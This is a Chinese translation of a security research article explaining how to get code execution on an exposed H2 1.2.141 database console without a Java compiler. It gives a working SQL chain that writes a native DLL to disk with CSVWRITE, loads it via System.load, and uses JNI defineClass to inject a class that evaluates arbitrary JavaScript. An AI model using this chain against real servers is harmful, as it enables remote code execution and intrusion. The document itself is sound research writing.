在H2数据库引擎中获取代码执行权限的技术早已是众所周知,但有个要求就是H2能够动态编译Java代码。而本文将向大家展示以前没有公开过的利用H2的方法,并且无需使用Java编译器,即通过原生库和JNI(Java原生接口)实现H2数据库漏洞的利用 。
上周, Doyensec的Andrea Brancaleoni发表了一篇关于jackson gadgets-漏洞剖析 的博文。它描述了如果 Logback 和 H2数据库引擎 库可用,如何利用 Jackson库 中基于setter的漏洞。简而言之,就是利用H2的特性,使用Java代码 创建用户定义的函数 ,并使用Java编译器动态编译这些函数。
但如果Java编译器不可用呢?这是在最近的一次参与中遇到的情况,Windows系统上的H2数据库引擎实例版本1.2.141公开了其Web控制台。我们希望通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。
假设我们不能使用 CREATE ALIAS … AS … 命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。
但是, CREATE ALIAS … FOR … 命令可以使用:
当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。
因此各个公共静态方法都可以使用。最坏的情况是,只有h2-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。
在Java运行时库rt.jar中浏览candidates时,我们发现 System.load(String) 方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。
但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?
在查看和研究了一些 H2函数 后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是 在1.4.190中引入 的。而我们需要的是 在1.2.141中可用的函数 。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。
快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是, writeColumnHeader选项仅被添加在了1.3/1.4.177上 。
但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。
查看 H2的列语法 ,列的columnName可以是 带引号的名称 ,定义如下:
” anything “
带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。
这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。
首先,让我们生成涵盖所有8-bit octet的测试数据:
$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin $ sha1sum test.bin 4916d6bdb7f78e6803698cab32d1586ea457dfc8 test.bin
现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:
xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'
然后,我们在以下CSVWRITE调用中使用它:
SELECT CSVWRITE('C:/Windows/Temp/test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');
最后,我们测试写入的文件是否具有相同的校验和:
C:/Windows/Temp> certutil -hashfile test.bin SHA1 SHA1 hash of file test.bin: 49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8 CertUtil: -hashfile command completed successfully.
可以看到,文件应该是相同的!
既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。
让我们更进一步,看看是否有办法从SQL执行任意命令/代码。
Java Native Interface(JNI) 允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。
现在,我的想法是使用JNI通过 ClassLoader.defineClass(byte[], int, int) 将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。
首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs 函数 来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。 使用该指针,我们可以与JVM交互并调用 JNI函数 ,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStatic<Type>Method/Call<Type>Method。 计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:
// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/' // public static JNIScriptEngine.eval(String js) : String char buf[] = { /* ... */ }; size_t bufLen = sizeof(buf); jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen); (*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf); JNIEnv * g_env; JavaVM* g_vm; jsize num_vms = 0; jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, #_vms); int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6); if (getEnvStat == JNI_EDETACHED) { // printf("GetEnv: not attached/n"); if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) { // printf("Failed to attach/n"); } } else if (getEnvStat == JNI_OK) { // printf("GetEnv: everything's fine/n"); } else if (getEnvStat == JNI_EVERSION) { // printf("GetEnv: version not supported/n"); } jclass cls; jmethodID meth; jobject obj; cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader"); // static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;"); jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth); // java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;"); jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen); (*g_env)->DeleteLocalRef(g_env, jData); (*g_vm)->DetachCurrentThread(g_vm);
这基本上是模仿了以下Java代码:
Class cls = Class.forName("java.lang.ClassLoader"); Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]); Object systemClassLoader = meth.invoke(null, new Object[0]); meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class }); meth.setAccessible(true); meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });
自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:
public class JNIScriptEngine { public static String eval(String script) throws Exception { return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString(); } }
最终,整合在一起的代码如下:
-- write native library SELECT CSVWRITE('C:/Windows/Temp/JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', ''); -- load native library CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load"; CALL System_load('C:/Windows/Temp/JNIScriptEngine.dll'); -- evaluate script CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval"; CALL JNIScriptEngine_eval('7*191');
这样我们就可以从SQL执行任意的JavaScript代码了。
*参考来源: codewhitesec ,FB小编secist编译,转载请注明来自FreeBuf.COM